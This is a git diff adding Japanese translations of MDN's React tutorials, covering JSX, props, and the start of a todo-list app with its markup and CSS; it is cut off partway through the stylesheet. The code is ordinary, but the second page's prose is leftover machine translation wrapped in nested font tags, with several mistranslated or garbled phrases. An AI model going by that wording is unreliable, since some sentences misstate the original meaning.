+<p>アプリをもっと詳しく見てみましょう。</p> + +<pre class="notranslate">function App() { + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Edit <code>src/App.js</code> and save to reload. + </p> + <a + className="App-link" + href="https://reactjs.org" + target="_blank" + rel="noopener noreferrer" + > + Learn React + </a> + </header> + </div> + ); +}</pre> + +<p>この <code>App</code> 関数は JSX 式を返します。この式には、ブラウザーが最終的に DOM にレンダリングするものを定義します。</p> + +<p>HTML と同じように、<code>attribute="value"</code> のように属性をもつ要素があります。3 行目では、<code><a href="/ja/docs/Web/HTML/Element/div"><div></a></code> 開始タグに <code>className</code> 属性があります。これは HTML の<code><a href="/ja/docs/Web/HTML/Global_attributes/class">class</a></code> 属性と同じですが、JSX は JavaScript であるため使用できません。<code>class</code> が予約されているためです。つまり、JavaScript ではすでにそれを使用しており、もし同様に使うと問題が発生するということです。同じような理由で、他のいくつかの HTML 属性は、HTML とは異なる方法で JSX で記述されています。</p> + +<p>6 行目の <code><a href="/ja/docs/Web/HTML/Element/p"><p></a></code> タグを「Hello, world！」に変更して、ファイルを保存します。この変更はブラウザー <code>http://localhost:3000</code> で実行されている開発サーバーですぐにレンダリングされます。次に、<code><a href="/ja/docs/Web/HTML/Element/a"><a></a></code> タグを削除して保存します。すると、「Learn React」リンクはなくなります。</p> + +<p>あなたの <code>App</code> コンポーネントは次のようになります。</p> + +<pre class="notranslate">function App() { + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Hello, World! + </p> + </header> + </div> + ); +}</pre> + +<h3 id="Export_statements" name="Export_statements">ステートメントのエクスポート</h3> + +<p><code>App.js</code> ファイルの一番下にある <code>export default App</code> は、<code>App</code> コンポーネントを他のモジュールで使用できるようにしています。</p> + +<h2 id="Interrogating_the_index" name="Interrogating_the_index">index を詳しくみる</h2> + +<p><code>src/index.js</code> を開きましょう。<code>App</code> コンポーネントを使用しているのがわかります。このファイルはアプリのエントリーポイントであり、最初は次のようになっています。</p> + +<pre class="notranslate">import React from 'react'; +import ReactDOM from 'react-dom'; +import './index.css'; +import App from './App'; +import * as serviceWorker from './serviceWorker'; + +ReactDOM.render(<App />, document.getElementById('root')); + +// If you want your app to work offline and load faster, you can change +// unregister() to register() below. Note this comes with some pitfalls. +// Learn more about service workers: https://bit.ly/CRA-PWA +serviceWorker.unregister();</pre> + +<p><code>App.js</code> と同様に、ファイルは、実行する必要のあるすべての JS モジュールとその他のアセットをインポートすることから始まります。<code>src/index.css</code> ではアプリ全体に適用されるグローバルスタイルを保持します。ここに、インポートされた<code>App</code>コンポーネントも確認できます。下部の <code>export</code> により、<code>App.js</code> がインポートできるようになりました。</p> + +<p>7 行目 <code>ReactDOM.render()</code> は 2 つの引数で React の関数を呼び出します：</p> + +<ul> + <li><code><App /></code>: この場合、レンダリングしたいコンポーネント。</li> + <li>内部にコンポーネントをレンダリングする DOM 要素: この場合、<code>root</code> 要素。<code>public/index.html</code> の内側を見ると、これがの <code><div></code> であり、<code><body></code> すぐ内側の要素であることがわかります。</li> +</ul> + +<p>これらはすべて、<code>App</code> コンポーネントを最初のコンポーネントとして React アプリケーションをレンダリングすることを React に伝えます。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: JSX では、React コンポーネントと HTML 要素には閉じスラッシュが必要です。そのまま <code><App></code> または <code><img></code> と書くとエラーが発生します。</p> +</div> + +<p><a href="/ja/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service Worker</a> は、アプリケーションのパフォーマンスを向上させ、ウェブアプリケーションの機能をオフラインで動作させることができる興味深いコードですが、この記事の対象ではありません。5 行目と 9 〜 12 行目を削除します。</p> + +<p>最終的な<code>index.js</code>ファイルは次のようになります。</p> + +<pre class="notranslate">import React from 'react'; +import ReactDOM from 'react-dom'; +import './index.css'; +import App from './App'; + +ReactDOM.render(<App />, document.getElementById('root'));</pre> + +<h2 id="Variables_and_props" name="Variables_and_props">変数と props</h2> + +<p>次に、JavaScript スキルのいくつかを使用して、コンポーネントの編集と React でのデータの操作をもう少し快適にします。JSX内での変数の使用方法について説明し、データをコンポーネントに渡す方法である props を紹介します (その後、変数を使用してアクセスできます)。</p> + +<h3 id="JSXの変数">JSXの変数</h3> + +<p><code>App.js</code> に戻り、9 行目に注目しましょう。</p> + +<pre class="brush: js notranslate"><img src = {logo} className = "App-logo" alt = "logo" /></pre> + +<p>ここでは、<code><img /></code> タグの <code>src</code> 属性値は中括弧で囲まれています。これは、JSX が変数を認識する方法です。React が <code>{logo}</code> を表示し、アプリの2行目のインポートを参照していることを確認してから、logo ファイルを取得してレンダリングします。</p> + +<p>独自の変数を作ってみましょう。<code>App</code> の return ステートメントの前に <code>const subject = 'React';</code> を追加します。すると、<code>App</code> コンポーネントは次のようになります。</p> + +<pre class="notranslate">function App() { + const subject = "React"; + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Hello, World! + </p> + </header> + </div> + ); +}</pre> + +<p>次のように、8 行目を変更して「world」という単語の代わりに <code>subject</code> 変数を使用します。</p> + +<pre class="notranslate">function App() { + const subject = "React"; + return ( + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> + Hello, {subject}! + </p> + </header> + </div> + ); +}</pre> + +<p>保存すると、「Hello、world！」の代わりにブラウザーに「Hello、React！」と表示されます。</p> + +<p>変数は便利ですが、設定したばかりの変数はReactの機能をあまり活用していません。そこで、propsの登場です。</p> + +<h3 id="Component_props" name="Component_props">コンポーネントのprops</h3> + +<p><strong>props</strong> はコンポーネントに渡される任意のデータです。prop はコンポーネント内に記述され、HTML属性と同じ構文を使用します — <code>prop="value"</code>。<code>index.js</code>を開き、<code><App/></code> に最初の <code>prop</code> を渡しましょう。</p> + +<p><code><App/></code> コンポーネントに <code>subject</code> という prop を追加して、値は <code>Clarice</code> とします。完了すると、コードは次のようになります。</p> + +<pre class="notranslate">ReactDOM.render(<App subject="Clarice" />, document.getElementById('root'));</pre> + +<p><code>App.js</code> に戻り、App 関数自体をもう一度見てみましょう。この関数は次のようになっています (簡潔にするために <code>return</code> で短くしています)。</p> + +<pre class="notranslate">function App() { + const subject = "React"; + return ( + // return statement + ); +}</pre> + +<p><code>App</code> 関数の引数を変更して、<code>props</code> をパラメーターとして受け入れられるようにします。他のパラメーターと同様 <code>props</code> に、<code>console.log()</code> を入力して、ブラウザーのコンソールにそれを表示させます。すると、次のようになります。</p> + +<pre class="notranslate">function App(props) { + const subject = "React"; + console.log(props); + return ( + // return statement + ); +}</pre> + +<p>ファイルを保存し、ブラウザーの JavaScript コンソールを確認します。次のようなログが表示されるはずです。</p> + +<pre class="notranslate">Object { subject: "Clarice" }</pre> + +<p>オブジェクトプロパティ <code>subject</code> は、<code><App /></code> コンポーネント呼び出しに追加した <code>subject</code> プロパティに対応し、文字列 <code>Clarice</code> はその値に対応します。React のコンポーネントプロップは、常にこのようにオブジェクトに集約されます。</p> + +<p><code>subject</code> は props の一部です。App.js でこれを使ってみましょう。<code>subject</code> 定数を変更して、<code>React</code> という文字列として定義する代わりに <code>props.subject</code> の値を読み取るようにします。<code>console.log()</code> は必要に応じて削除することもできます。</p> + +<pre class="notranslate">function App(props) { + const subject = props.subject; + return ( + // return statement + ); +}</pre> + +<p>保存すると、アプリは「Hello、Clarice！」と挨拶するはずです。<code>index.js</code> に戻り、<code>subject</code> の値を編集して保存すると、テキストが変更されます。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>これで、React をローカルでインストールする方法、スターターアプリを作成する方法、基本的にどのように機能するかなど、React の入門が終わりました。次の記事では、最初に適したアプリケーションである todo リストの作成を開始します。ただし、その前に、私たちが学んだことのいくつかをおさらいしましょう。</p> + +<p>React では:</p> + +<ul> + <li>コンポーネントは必要なモジュールをインポートでき、ファイルの下部でエクスポートする必要があります。</li> + <li>コンポーネント関数は <code>PascalCase</code> で名前が付けられます。</li> + <li>JSX 変数は、<code>{so}</code> のように中括弧で囲むことで読み取ることができます。</li> + <li>一部の JSX 属性は HTML 属性とは異なるため、JavaScript の予約語と競合しません。例えば <code>class</code>、HTML では <code>className</code> JSX に変換されます。複数単語の属性はキャメルケースであることに注意してください。</li> + <li>props は、コンポーネント呼び出し内の属性と同じように記述され、コンポーネントに渡されます。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> + <li>React + <ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> + </ul> + </li> + <li>Ember + <ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> + </ul> + </li> + <li>Vue + <ul> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> + </ul> + </li> +</ul> diff --git a/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.html b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.html new file mode 100644 index 0000000000..debc627272 --- /dev/null +++ b/files/ja/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.html @@ -0,0 +1,599 @@ +--- +title: React ToDoリストをはじめる +slug: >- + Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning +translation_of: >- + Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning +--- +<div> +<p>{{LearnSidebar}}</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> +</div> + +<p class="summary"><font><font><font><font>たとえば、Reactで</font></font></font></font><font><font>概念実証</font></font><font><font><font><font>を作成する必要があるとします。これは、ユーザーが作業したいタスクを追加、編集、削除したり、タスクを削除せずに完了としてマークしたりできるアプリです。</font></font></font><font><font><font>この記事では、基本的な</font></font></font></font><code>App</code><font><font><font><font>コンポーネントの構造とスタイルを設定し、個々のコンポーネントの定義と変更に対応できるようにします。これについては後で追加します。</font></font></font></font></p> + +<div class="blockIndicator note"> +<p class="summary"><strong><font><font><font><font>注</font></font></font></font></strong><font><font><font><font>：コードをGoogleのバージョンと照合する必要がある場合は、</font></font></font></font><a href="https://github.com/mdn/todo-react"><font><font><font><font>todo-react</font></font></font></font></a><font><font><font><font>リポジトリでサンプルのReactアプリコードの完成版を見つけることができます。実行</font></font></font><font><font><font>中の</font></font></font></font><a href="https://mdn.github.io/todo-react-build/"><font><font><font><font>バージョン</font></font></font></font></a><font><font><font><font>については、</font></font></font><a href="https://mdn.github.io/todo-react-build/"><font><font><font>https：//mdn.github .io / todo-react-build /を</font></font></font></a></font><font><font><font><font>参照してください。</font></font></font></font></p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row"><font><font><font><font>前提条件：</font></font></font></font></th> + <td> + <p><font><font><font><font>コア</font></font></font></font><a href="/en-US/docs/Learn/HTML"><font><font><font><font>HTML</font></font></font></font></a><font><font><font><font>、</font></font></font></font><a href="/en-US/docs/Learn/CSS"><font><font><font><font>CSS</font></font></font></font></a><font><font><font><font>、</font></font></font></font><a href="/en-US/docs/Learn/JavaScript"><font><font><font><font>JavaScriptの</font></font></font></font></a><font><font><font><font>言語に精通していること</font><font>、</font></font></font></font><a href="/en-US/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line"><font><font><font><font>ターミナル/マンドコライン</font></font></font></font></a><font><font><font><font>に関すてる知識</font></font></font><font><font><font>。</font></font></font></font></p> + </td> + </tr> + <tr> + <th scope="row"><font><font><font><font>目的：</font></font></font></font></th> + <td><font><font><font><font>todoリストの</font></font></font></font><font><font><font><font>ケーススタディを紹介</font></font></font><font><font><font>し、基本的な</font></font></font></font><code>App</code><font><font><font><font>構造とスタイルを整える。</font></font></font></font></td> + </tr> + </tbody> +</table> + +<h2 id="アプリの「ユーザーストーリー」"><font><font><font><font>アプリの「ユーザーストーリー」</font></font></font></font></h2> + +<p><font><font><font><font>ソフトウェア開発では、ユーザーストーリーはユーザーの観点から実行可能な目標を</font></font></font><font><font><font>指し</font></font></font><font><font><font>ます。</font></font><font><font>作業を開始する前にユーザーストーリーを定義すると、作業に集中することができます。今回、</font></font></font><font><font><font>私たちのアプリは以下のストーリーを実現する必要があります：</font></font></font></font></p> + +<p><font><font><font><font>ユーザーができること</font></font></font></font></p> + +<ul> + <li><font><font><font><font>タスクのリストを読むこと</font></font></font></font></li> + <li><font><font><font><font>マウスまたはキーボードを使用してタスクを追加すること</font></font></font></font></li> + <li><font><font><font><font>マウスまたはキーボードを使用して、タスクに完了のマークを付けること</font></font></font></font></li> + <li><font><font><font><font>マウスまたはキーボードを使用して、タスクを削除すること</font></font></font></font></li> + <li><font><font><font><font>マウスまたはキーボードを使用して、タスクを編集すること</font></font></font></font></li> + <li><font><font><font><font>タスクの特定の一部を表示する：すべてのタスク、アクティブなタスクのみ、または完了したタスクのみ。</font></font></font></font></li> +</ul> + +<p><font><font><font><font>これらのストーリーに1つずつ取り組みます。</font></font></font></font></p> + +<h2 id="プロジェクトに入る前に現状整理"><font><font><font><font>プロジェクトに入る前に現状整理</font></font></font></font></h2> + +<p><font><font><font><font>create-react-appは、プロジェクトでまったく使用しないファイルをいくつか作成しています。</font></font></font></font></p> + +<ul> + <li><font><font><font><font>コンポーネントごと</font></font></font></font><code>App.js</code><font><font>の</font></font><font><font><font><font>スタイルシート</font></font></font></font><font><font><font><font>は作成しないので、</font></font></font><font><font><font>最初に</font></font></font><font>の</font><font><font><font>上部にあるインポート</font></font></font></font><code>App.css</code><font><font><font><font>を削除します。</font></font></font></font></li> + <li><font><font>また、</font></font><code>logo.svg</code><font><font>ファイル</font><font>を使用しない</font><font>ので、そのインポートも削除します。</font></font></li> +</ul> + +<p><font><font>次に、以下のコマンドをコピーしてターミナルに貼り付け、不要なファイルをいくつか削除します。</font><font>アプリのルートディレクトリから開始していることを確認してください。</font></font></p> + +<pre># Move into the src directory of your project +cd src +# Delete a few files +rm -- App.test.js App.css logo.svg serviceWorker.js setupTests.js +# Move back up to the root of the project +cd ..</pre> + +<p><font><font>ノート：</font></font></p> + +<ul> + <li><font><font>削除する2つのファイルは、アプリケーションのテスト用です。</font><font>ここではテストを扱いません。</font></font></li> + <li><font><font>上記のターミナルタスクを実行するためにサーバーを停止した場合は、</font></font><code>npm start</code><font><font>を使用してサーバーを再起動する必要があります。</font></font></li> +</ul> + +<h2 id="はじめのプロジェクトコード"><font><font>はじめのプロジェクト</font></font><font><font>コード</font></font></h2> + +<p><font><font>このプロジェクトの開始点として、次の2つを提供します。現在持っているものを置き換えるApp関数と、アプリのスタイルを設定するCSSです。</font></font></p> + +<h3 id="JSX"><font><font>JSX</font></font></h3> + +<p><font><font>次のスニペットをクリップボードにコピーして貼り付け</font></font><code>App.js</code><font><font>、既存の</font></font><code>App()</code><font><font>関数を</font><font>置き換え</font><font>ます。</font></font></p> + +<pre>function App(props) { + return ( + <div className="todoapp stack-large"> + <h1>TodoMatic</h1> + <form> + <h2 className="label-wrapper"> + <label htmlFor="new-todo-input" className="label__lg"> + What needs to be done? + </label> + </h2> + <input + type="text" + id="new-todo-input" + className="input input__lg" + name="text" + autoComplete="off" + /> + <button type="submit" className="btn btn__primary btn__lg"> + Add + </button> + </form> + <div className="filters btn-group stack-exception"> + <button type="button" className="btn toggle-btn" aria-pressed="true"> + <span className="visually-hidden">Show </span> + <span>all</span> + <span className="visually-hidden"> tasks</span> + </button> + <button type="button" className="btn toggle-btn" aria-pressed="false"> + <span className="visually-hidden">Show </span> + <span>Active</span> + <span className="visually-hidden"> tasks</span> + </button> + <button type="button" className="btn toggle-btn" aria-pressed="false"> + <span className="visually-hidden">Show </span> + <span>Completed</span> + <span className="visually-hidden"> tasks</span> + </button> + </div> + <h2 id="list-heading"> + 3 tasks remaining + </h2> + <ul + role="list" + className="todo-list stack-large stack-exception" + aria-labelledby="list-heading" + > + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-0" type="checkbox" defaultChecked={true} /> + <label className="todo-label" htmlFor="todo-0"> + Eat + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">Eat</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">Eat</span> + </button> + </div> + </li> + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-1" type="checkbox" /> + <label className="todo-label" htmlFor="todo-1"> + Sleep + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">Sleep</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">Sleep</span> + </button> + </div> + </li> + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-2" type="checkbox" /> + <label className="todo-label" htmlFor="todo-2"> + Repeat + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">Repeat</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">Repeat</span> + </button> + </div> + </li> + </ul> + </div> + ); +}</pre> + +<p><font><font>次に</font></font><code>public/index.html</code>を開いて<font><font>、</font></font><code><a href="/en-US/docs/Web/HTML/Element/title"><title></a></code><font><font>要素のテキストを</font><font>開い</font><font>て</font></font><code>TodoMatic</code><font><font>に変更します。</font><font>こうすることでアプリ上部の</font></font><code><a href="/en-US/docs/Web/HTML/Element/Heading_Elements"><h1></a></code><font><font>と一致し</font><font>ます。</font></font></p> + +<pre><title>TodoMatic</title></pre> + +<p><font><font>ブラウザが更新されると、次のように表示されます。</font></font></p> + +<p><img alt="todo-maticアプリ、スタイルなし、乱雑なラベル、入力、ボタンの混乱を表示" src="https://mdn.mozillademos.org/files/17253/unstyled-app.png" style="border-style: solid; border-width: 1px; height: 743px; width: 838px;"></p> + +<p><font><font>まだ見た目が整っていなくて、機能もしていませんが、一旦問題はありません。すぐにスタイルを設定します。</font><font>まず、このJSXと、それがユーザーストーリーにどのように対応するかを考えます。</font></font></p> + +<ul> + <li><font><font>新しいタスクを書き込むためのと、フォームを送信するためのボタン</font><font>を備えた</font></font><code><a href="/en-US/docs/Web/HTML/Element/form"><form></a></code>と<code><a href="/en-US/docs/Web/HTML/Element/input/text"><input type="text"></a></code><font><font>要素があります。</font></font></li> + <li><font><font>タスクのフィルタリングに使用するボタンの配列があります。</font></font></li> + <li><font><font>残っているタスクの数を示す見出しがあります。</font></font></li> + <li><font><font>3つのタスクがあり、順序付けられていないリストに配置されています。</font><font>各タスクはリストアイテム（</font></font><code><a href="/en-US/docs/Web/HTML/Element/li"><li></a></code><font><font>）であり、</font><font>タスク</font><font>を編集および削除するためのボタンと、完了時にチェックボックスをオンにするチェックボックスがあります。</font></font></li> +</ul> + +<p><font><font>このフォームにより</font></font><em><font><font>、</font></font></em><font><font>タスク</font><font>を作成できます。また、</font><font>ボタンでフィルタリングもで</font></font><font><font>きます。</font><font>見出しとリストは、</font><font>それら</font><font>を読むためのものです</font><font>。</font><font>現在のところ、タスク</font><font>を編集するためのUIはあまりよくありません</font><font>。大丈夫です。後ほど書き足していきます。</font></font></p> + +<h3 id="アクセシビリティ"><font><font>アクセシビリティ</font></font></h3> + +<p><font><font>ここでいくつかの変わった属性に気付くかもしれません。</font><font>例えば：</font></font></p> + +<pre><button type="button" className="btn toggle-btn" aria-pressed="true"> + <span className="visually-hidden">Show </span> + <span>all</span> + <span className="visually-hidden"> tasks</span> +</button></pre> + +<p><font><font>ここでは、</font></font><code>aria-pressed</code><font><font>ボタンは2つの状態のいずれかであることができることを（スクリーンリーダーなど）技術的に伝えます(</font></font><code>pressed</code><font><font>か</font></font><code>unpressed</code>)<font><font>。</font></font><code>on</code><font><font>と</font></font><code>off</code>の切替のように考えられます。<code>true</code><font><font>の値を設定</font></font><font><font>すると、デフォルトでボタンが押されます。</font></font></p> + +<p><font><font>CSSが含まれていないため、</font><font>この</font></font><code>visually-hidden</code><font><font>クラス</font><font>はまだ意味がありません。</font><font>ただし、スタイルを設定すると、このクラスの要素はすべて、目の見えるユーザーからは隠され、スクリーンリーダーのユーザーは引き続き使用できます。これは、目の見えるユーザーがこれらの単語を必要としないためです。</font><font>それらは、ボタンを使用してスクリーンリーダーのユーザーに役立つ追加の視覚的コンテキストがないユーザーのために、ボタンの機能に関する詳細情報を提供するためにあります。</font></font></p> + +<p><font><font>さらに下には</font></font><code><a href="/en-US/docs/Web/HTML/Element/ul"><ul></a></code><font><font>要素</font><font>があります</font><font>：</font></font></p> + +<pre><ul + role="list" + className="todo-list stack-large stack-exception" + aria-labelledby="list-heading" +></pre> + +<p><code>role</code><font><font>属性は、タグが表す要素の種類を説明するのに役立ちます。</font></font><code><ul></code><font><font>はデフォルトではリストのように扱われますが、これから追加するスタイルはその機能を壊します。</font><font>この役割は、</font></font><code><ul></code><font><font> 要素の</font><font>「リスト」の意味を復元し</font><font>ます。</font><font>これが必要な理由について詳しく知りたい場合は、</font></font><font><font><a href="https://www.scottohara.me/blog/2019/01/12/lists-and-safari.html">Scott O'Haraの記事「Fixing Lists」</a>を</font></font><font><font>チェックしてください</font><font>。</font></font></p> + +<p><font><font>この</font></font><code>aria-labelledby</code><font><font>属性は、リストの見出しをその下にあるリストの目的を説明するラベルとして扱っていることを伝えます。</font><font>この関連付けを行うと、リストの情報が豊富になり、スクリーンリーダーを通じてユーザーがリストの目的を理解しやすくなります。</font></font></p> + +<p><font><font>最後に、リスト項目のラベルと入力には、JSXに固有のいくつかの属性があります。</font></font></p> + +<pre><input id="todo-0" type="checkbox" defaultChecked={true} /> +<label className="todo-label" htmlFor="todo-0"> + Eat +</label></pre> + +<p><code><input/ ></code><font><font>タグ</font><font>の</font></font><code>defaultChecked</code><font><font>属性は、デフォルトで</font></font><font><font>このチェックボックスをチェックするようにReactに指示します。通常のHTMLの場合</font><font>と同様に、</font></font><code>checked</code><font><font>を使用する</font><font>と、Reactは、チェックボックスでのイベントの処理に関する警告をブラウザーコンソールに表示しますが、これは望ましくありません。</font><font>とりあえず、これについてあまり心配しないでください。後でイベントを使用するときにこれについて説明します。</font></font></p> + +<p><font><font>この</font></font><code>htmlFor</code><font><font>属性は、HTMLで使用される</font></font><code>for</code><font><font>属性に対応してい</font><font>ます。</font></font><code>for</code><font><font>は予約語であるため、JSXでは属性として</font><font>使用できません</font><font>。そのためReactは</font></font><code>for</code>の代わりに<code>htmlFor</code><font><font>を使用し</font><font>ます。</font></font></p> + +<p><font><font>ノート：</font></font></p> + +<ul> + <li><font><font>JSX属性で</font><font>ブール値（</font></font><code>true</code><font><font>および</font></font><code>false</code><font><font>）</font><font>を使用するには</font><font>、それらを中括弧で囲む必要があります。</font><font>あなたが書く場合は</font></font><code>defaultChecked="true"</code><font><font>、の値は</font></font><code>defaultChecked</code><font><font>ではなくなり、文字列リテラル</font></font><code>"true"</code><font><font>になります。覚えておいてください—これは実際にはHTMLではなくJavaScriptです！</font></font></li> + <li>先ほどのコードで使われたいた<code>aria-pressed</code>属性は<code>"true"</code>をもっていましたが、これはcheckedのようにブール値としてのtrueではありません。</li> +</ul> + +<h3 id="スタイルを実装する"><font><font>スタイルを実装する</font></font></h3> + +<p><font><font>次のCSSコードをに貼り付けて、</font></font><code>src/index.css</code>を<font><font>現在あるものを置き換えます。</font></font></p> + +<pre>/* RESETS */ +*, +*::before, +*::after { + box-sizing: border-box; +} +*:focus { + outline: 3px dashed #228bec; + outline-offset: 0; +} +html { + font: 62.5% / 1.15 sans-serif; +} +h1, +h2 { + margin-bottom: 0; +} +ul { + list-style: none; + padding: 0; +} +button { + border: none; + margin: 0; + padding: 0; + width: auto; + overflow: visible; + background: transparent; + color: inherit; + font: inherit; + line-height: normal; + -webkit-font-smoothing: inherit; + -moz-osx-font-smoothing: inherit; + -webkit-appearance: none; +} +button::-moz-focus-inner { + border: 0; +} +button, +input, +optgroup, +select, +textarea { + font-family: inherit; + font-size: 100%; + line-height: 1.15; + margin: 0; +} +button, +input { + overflow: visible; +} +input[type="text"] { + border-radius: 0; +} +body { + width: 100%; + max-width: 68rem; + margin: 0 auto; + font: 1.6rem/1.25 Arial, sans-serif; + background-color: #f5f5f5; + color: #4d4d4d; +} +@media screen and (min-width: 620px) { + body { + font-size: 1.9rem; + line-height: 1.31579; + } +} +/*END RESETS*/ +/* GLOBAL STYLES */ +.form-group > input[type="text"] { + display: inline-block; + margin-top: 0.4rem; +} +.btn { + padding: 0.8rem 1rem 0.7rem; + border: 0.2rem solid #4d4d4d; + cursor: pointer; + text-transform: capitalize; +} +.btn.toggle-btn { + border-width: 1px; + border-color: #d3d3d3; +} +.btn.toggle-btn[aria-pressed="true"] { + text-decoration: underline; + border-color: #4d4d4d; +} +.btn__danger { + color: #fff; + background-color: #ca3c3c; + border-color: #bd2130; +} +.btn__filter { + border-color: lightgrey; +} +.btn__primary { + color: #fff; + background-color: #000; +} +.btn-group { + display: flex; + justify-content: space-between; +} +.btn-group > * { + flex: 1 1 49%; +} +.btn-group > * + * { + margin-left: 0.8rem; +} +.label-wrapper { + margin: 0; + flex: 0 0 100%; + text-align: center; +} +.visually-hidden { + position: absolute !important; + height: 1px; + width: 1px; + overflow: hidden; + clip: rect(1px 1px 1px 1px); + clip: rect(1px, 1px, 1px, 1px); + white-space: nowrap; +} +[class*="stack"] > * { + margin-top: 0; + margin-bottom: 0; +} +.stack-small > * + * { + margin-top: 1.25rem; +} +.stack-large > * + * { + margin-top: 2.5rem; +} +@media screen and (min-width: 550px) { + .stack-small > * + * { + margin-top: 1.4rem; + } + .stack-large > * + * { + margin-top: 2.8rem; + } +} +.stack-exception { + margin-top: 1.2rem; +} +/* END GLOBAL STYLES */ +.todoapp { + background: #fff; + margin: 2rem 0 4rem 0; + padding: 1rem; + position: relative; + box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.2), 0 2.5rem 5rem 0 rgba(0, 0, 0, 0.1); +} +@media screen and (min-width: 550px) { + .todoapp { + padding: 4rem; + } +} +.todoapp > * { + max-width: 50rem; + margin-left: auto; + margin-right: auto; +} +.todoapp > form { + max-width: 100%; +} +.todoapp > h1 { + display: block; + max-width: 100%; + text-align: center; + margin: 0; + margin-bottom: 1rem; +} +.label__lg { + line-height: 1.01567; + font-weight: 300; + padding: 0.8rem; + margin-bottom: 1rem; + text-align: center; +} +.input__lg { + padding: 2rem; + border: 2px solid #000; +} +.input__lg:focus { + border-color: #4d4d4d; + box-shadow: inset 